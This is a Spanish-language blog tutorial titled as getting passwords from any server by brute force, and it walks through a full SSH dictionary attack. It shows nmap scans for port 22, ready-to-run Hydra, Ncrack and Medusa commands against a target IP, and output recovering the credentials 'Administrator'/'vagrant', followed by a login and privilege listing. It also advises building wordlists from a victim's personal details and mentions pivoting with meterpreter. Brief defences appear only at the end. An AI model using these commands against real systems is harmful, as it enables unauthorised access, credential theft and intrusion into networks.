Hacking SSH: obteniendo contraseñas de cualquier servidor mediante fuerza bruta


En un artículo anterior hablamos sobre la enumeración de usuarios SSH en un servidor usando metasploit, ahora bien, lo siguiente es, ¿qué hacemos teniendo los nombres de usuario de un servidor? ¿cual es el siguiente paso para obtener acceso?

https://securityhacklabs.net

· ¿Qué es SSH?

SSH es un acrónimo que significa Secure Shell, que proporciona un acceso de shell seguro a una máquina remota. Esto permite que las personas se conecten a una computadora local y remota, y se instala fácilmente en Linux/UNIX y también se puede instalar en máquinas con Windows. SSH también se refiere al conjunto de utilidades que implementan el protocolo o el protocolo de red criptográfico.

· ¿Uso de SSH?

SSH proporciona una autenticación sólida y protege las comunicaciones de datos cifrados entre dos computadoras que se conectan a través de una red insegura, como Internet. Es utilizado por todos los administradores del sistema y del servidor para conectarse a las máquinas remotas y ejecutar los comandos del sistema, mover, crear y editar diferentes archivos en la máquina remota.
Utiliza el algoritmo de cifrado RSA que crea un túnel irrompible entre la computadora cliente y la computadora remota y, como todos sabemos, nada es irrompible.

· ¿Qué es un ataque de fuerza bruta?

Los ataques de fuerza bruta funcionan probando cada combinación posible que el usuario podría usar como contraseña y luego la prueba para ver si es la contraseña correcta. Para ver si la contraseña es correcta o no, verifica si hay errores en la respuesta del servidor.
A medida que aumenta la longitud de la contraseña, la cantidad de tiempo utilizada para encontrar la contraseña correcta también aumenta rápidamente. Eso significa que las contraseñas cortas son bastante fáciles de descifrar.

- Método recomendado de fuerza bruta:

Así que en muchos casos, se recomienda usar el ataque de diccionario para forzar la contraseña correcta. En este método, proporcionamos las herramientas con la lista de posibles contraseñas para usar contra el sistema de destino hasta que obtenga la contraseña correcta para el usuario.
Esto funciona si el usuario está utilizando una contraseña débil como "123456" o "password", lo cual no es el caso hoy en día, pero aún algunas personas usan contraseñas como esta y hay un dicho que dice:
No hay solución para la estupidez humana.

· Fuerza bruta SSH:

Así que ahora sabes lo que es el ataque de fuerza bruta, avancemos al siguiente paso. Durante este artículo, usaremos un ataque de diccionario para obtener el nombre de usuario y la contraseña del usuario ssh remoto.
Para realizar este ataque, necesitará una lista de palabras que tenga una buena combinación de palabras y una contraseña de uso común y las herramientas con las que probaremos diferentes combinaciones con cada contraseña.

- Listas de palabras:

Un buen recurso para las listas de palabras se puede encontrar aquí PacketStorm.

También hay otra forma de crear su propia lista de palabras, ya que si conoce a la víctima, puede usar información como su nombre, fecha de nacimiento, nombre de los padres, hijos, mascotas y otra información relacionada con la víctima y podría usarse contra ellos.

Un ejemplo de la contraseña que podría ser como este "david0512 " donde david es el nombre del padre, 05 el mes, 12 año de nacimiento.
Un buen programa que le permite compilar estos datos en una lista de palabras la herramienta D0xk1t, que puede encontrar aquí.

También puedes descargar otras listas de palabras con estos comandos:
$ wget http://zeldor.biz/other/bruteforce/passlist.txt
$ wget https://downloads.skullsecurity.org/passwords/500-worst-passwords.txt.bz2

· Búsqueda de servidores SSH utilizando NMAP

Después de configurar sus herramientas de ataque, el siguiente paso a seguir es encontrar un servidor que ejecute SSH. Lo que podemos hacer para encontrar es usar NMAP para buscar el puerto abierto 22, debido a que la mayoría de servicios SSH escuchan en el puerto 22 (así viene la configuración por defecto y ya conocemos como son la mayoría de administradores).
Para encontrar el servidor que ejecuta SSH localmente, vamos a escanear toda la red 192.168.0.1/24 con nmap, adicionalmente agregaremos un flag para que solo nos muestre puertos abiertos.

$ nmap 192.168.0.1/24 -p 22 --open
Starting Nmap
7.70 ( https://nmap.org ) at 2018-10-14 01:16 -05
Nmap scan report for 192.168.0.7
Host is up (0.00017s latency).

PORT STATE SERVICE
22/tcp open ssh

Nmap scan report
for 192.168.0.8
Host is up (0.00015s latency).

PORT STATE SERVICE
22/tcp open ssh

Nmap done:
256 IP addresses (6 hosts up) scanned in 40.77 seconds

· Ejecutando escaneo en Servidor Remoto

Ahora, si queremos probar el ataque en un servidor remoto, entonces tendrá que escanear el servidor en busca de puertos abiertos como el servicio SSH. Aquí se explica cómo puede escanear el servidor remoto usando nmap.

$ nmap $servidor -p 22

Tenga en cuenta que el servidor puede tener SSH corriendo en otro puerto diferente al 22, así que puede aumentar el rango de puertos añadiendo la opción -p $puerto_inicial-$puerto_final, por ejemplo: -p 1-10000

· Cómo realizar el ataque fuerza bruta a SSH

Esta es la parte que nos gusta, hablaremos sobre las herramientas que usaremos para realizar el ataque de fuerza bruta.

- Hydra

Entonces, las primeras herramientas, veremos la herramienta Hydra más común y poderosa. Si está utilizando Kali Linux o BlackArch, ya tendrá acceso a esta herramienta. Si no está instalada, puede buscar como hacerlo para su distribución.

Una vez instalado, el comando que usaremos para realizar el ataque es:

$ hydra -l $usuario -P '/ruta/al/diccionario' $Ip-Victima ssh

En nuestro caso, tenemos dos máquinas con SSH corriendo, una con IP 192.168.0.7 y la otra 192.168.0.8, el comando sería el siguiente:
$ hydra -l Administrator -P '/home/sechacklabs/passwords.txt' 192.168.0.7 ssh

Obtenemos lo siguiente:

sechacklabs@SecHackLabs ~ ->
➤➤➤➤ ▶ hydra -l Administrator -P '/home/sechacklabs/passwords.txt' 192.168.0.7 ssh
Hydra v8
.6 (c) 2017 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.

Hydra (
http://www.thc.org/thc-hydra) starting at 2018-10-14 01:32:57
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 16 tasks per 1 server, overall 16 tasks, 16 login tries (l:1/p:16), ~1 try per task
[DATA] attacking
ssh://192.168.0.7:22/
[
22][ssh] host: 192.168.0.7 login: Administrator password: vagrant
1 of 1 target successfully completed, 1 valid password found
[WARNING] Writing restore file because
1 final worker threads did not complete until end.
[ERROR]
1 target did not resolve or could not be connected
[ERROR]
16 targets did not complete
Hydra (
http://www.thc.org/thc-hydra) finished at 2018-10-14 01:32:58
Nos damos cuenta que el ataque ha sido exitoso, se ha encontrado el usuario y contraseña, ahora intentaremos conectarnos.
sechacklabs@SecHackLabs ~ ->
➤➤➤➤ ▶ ssh Administrator
@192.168.0.7
The authenticity of host '192.168.0.7 (192.168.0.7)' can't be established.
ECDSA key fingerprint is SHA256:y38rdxQJQBHHBysk1nQtkVa5UyCvZrLwlGHVDJUcCFE.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added '
192.168.0.7' (ECDSA) to the list of known hosts.
Administrator@192.168.0.7'
s password:
-sh-
4.3$ bash
Microsoft Windows [Version
6.1.7601]
Copyright (c)
2009 Microsoft Corporation. All rights reserved.

C:\Users\Administrator>dir
Volume in drive C is Windows
2008R2
Volume Serial Number is E805-EC8F

Directory of C:\Users\Administrator

10/11/2018 03:27 PM
.
10/11/2018 03:27 PM
..
10/11/2018 03:27 PM
Contacts
10/11/2018 03:27 PM
Desktop
10/11/2018 03:27 PM
Documents
10/11/2018 03:27 PM
Downloads
10/11/2018 03:27 PM
Favorites
10/11/2018 03:27 PM
Links
10/11/2018 03:27 PM Music
10/11/2018 03:27 PM Pictures
10/11/2018 03:27 PM Saved Games
10/11/2018 03:27 PM Searches
10/11/2018 03:27 PM Videos
0 File(s) 0 bytes
13 Dir(s) 48,119,791,616 bytes free

C:\Users\Administrator>whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name Description State
=============================== ========================================= ========
SeIncreaseQuotaPrivilege Adjust memory quotas
for a process Disabled
SeSecurityPrivilege Manage auditing
and security log Disabled
SeTakeOwnershipPrivilege Take ownership of files
or other objects Disabled
SeLoadDriverPrivilege Load
and unload device drivers Disabled
SeSystemProfilePrivilege Profile
system performance Disabled
SeSystemtimePrivilege Change the
system time Disabled
SeProfileSingleProcessPrivilege Profile single process Disabled
SeIncreaseBasePriorityPrivilege Increase scheduling priority Disabled
SeCreatePagefilePrivilege Create a pagefile Disabled
SeBackupPrivilege Back up files
and directories Enabled
SeRestorePrivilege Restore files
and directories Enabled
SeShutdownPrivilege Shut down the
system Disabled
SeDebugPrivilege Debug programs Enabled
SeSystemEnvironmentPrivilege Modify firmware environment
values Disabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeRemoteShutdownPrivilege Force
shutdown from a remote system Disabled
SeUndockPrivilege Remove computer from docking station Disabled
SeManageVolumePrivilege Perform volume maintenance tasks Disabled
SeImpersonatePrivilege Impersonate a client after authentication Enabled
SeCreateGlobalPrivilege Create global objects Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled
SeTimeZonePrivilege Change the
time zone Disabled
SeCreateSymbolicLinkPrivilege Create symbolic links Disabled

C:\Users\Administrator>

Ahora que ya tenemos acceso a un equipo dentro de la red, podríamos escanear por equipos que estén conectados al mismo e iniciar un ataque a gran escala, aunque lo más recomendable es establecer una conexión meterpreter para que el proceso de post-explotación sea más sencillo.

- NCrack

La segunda herramienta que usaremos se llama NCrack. También se incluye en Kali Linux y BlackArch, también puede instalarla en otras distribuciones.
Para lanzar el ataque con Ncrack escribimos lo siguiente:

$ ncrack -p 22 --user $usuario -P '/ruta/a/las/passwords.txt' $IP-Victima
En nuestro caso sería:
$ ncrack -p 22 --user Administrator -P '/home/sechacklabs/passwords.txt' 192.168.0.7
Y obtenemos esto:
sechacklabs@SecHackLabs ~ ->
➤➤➤➤ ▶ ncrack -p 22 --user Administrator -P '/home/sechacklabs/passwords.txt' 192.168.0.7

Starting Ncrack
0.6 ( http://ncrack.org ) at 2018-10-14 01:47 -05

Discovered credentials
for ssh on 192.168.0.7 22/tcp:
192.168.0.7 22/tcp ssh: 'Administrator' 'vagrant'

Ncrack
done: 1 service scanned in 3.00 seconds.

Ncrack finished.

Y listo, tenemos la contraseña.

- Medusa

Esta es la última herramienta que se puede usar para forzar la entrada, para instalarla se hace así:

# Kali Linux
$ apt install medusa

# BlackArch
$ pacman -Syu medusa
Una vez instalada, el comando para lanzar el ataque es:
$ medusa -u $user -P '/ruta/a/las/passwords.txt' -h $IP-Victima -M ssh
Para nuestro caso sería:
$ medusa -u Administrator -P '/home/sechacklabs/passwords.txt' -h 192.168.0.7 -M ssh
Y obtenemos lo siguiente:
sechacklabs@SecHackLabs ~ ->
➤➤➤➤ ▶ medusa -u Administrator -P '/home/sechacklabs/passwords.txt' -h 192.168.0.7 -M ssh
Medusa v2
.2 [http://www.foofus.net] (C) JoMo-Kun / Foofus Networks @foofus.net>

ACCOUNT
CHECK: [ssh] Host: 192.168.0.7 (1 of 1, 0 complete) User: Administrator (1 of 1, 0 complete) Password: asfasfsafsa (1 of 16 complete)
ACCOUNT
CHECK: [ssh] Host: 192.168.0.7 (1 of 1, 0 complete) User: Administrator (1 of 1, 0 complete) Password: sdasdsa (2 of 16 complete)
ACCOUNT
CHECK: [ssh] Host: 192.168.0.7 (1 of 1, 0 complete) User: Administrator (1 of 1, 0 complete) Password: 3243433 (3 of 16 complete)
ACCOUNT
CHECK: [ssh] Host: 192.168.0.7 (1 of 1, 0 complete) User: Administrator (1 of 1, 0 complete) Password: Administrator (4 of 16 complete)
ACCOUNT
CHECK: [ssh] Host: 192.168.0.7 (1 of 1, 0 complete) User: Administrator (1 of 1, 0 complete) Password: sfdf (5 of 16 complete)
ACCOUNT
CHECK: [ssh] Host: 192.168.0.7 (1 of 1, 0 complete) User: Administrator (1 of 1, 0 complete) Password: admin (6 of 16 complete)
ACCOUNT
CHECK: [ssh] Host: 192.168.0.7 (1 of 1, 0 complete) User: Administrator (1 of 1, 0 complete) Password: vagrant (7 of 16 complete)
ACCOUNT
FOUND: [ssh] Host: 192.168.0.7 User: Administrator Password: vagrant [SUCCESS]

· ¿Cómo protegerse de este ataque?

Los métodos más recomendados que debe usar para protegerse de este ataque son:
  • Ejecute SSH en un puerto no estándar. (Aparte de 22)
  • Bloquear el inicio de sesión SSH para el usuario root .
  • Utilice Fail2Ban.
  • Limitar los intentos de inicio de sesión del usuario.
Entonces, ¿qué aprendimos de todo esto? Nunca use una contraseña débil, en serio nunca use contraseñas débiles. Lea Autenticación de dos factores, protegiendo sus cuentas de los hackers

Y, por otro lado, hemos aprendido cómo puede usar diferentes herramientas para probar y explotar este problema.

Síguenos en FacebookTwitterunete a nuestro chat en Discord y no olvides compartirnos en las redes sociales. También puede hacernos una donación o comprar nuestros servicios.

Autor: edu4rdshl
Twitter: @edu4rdshl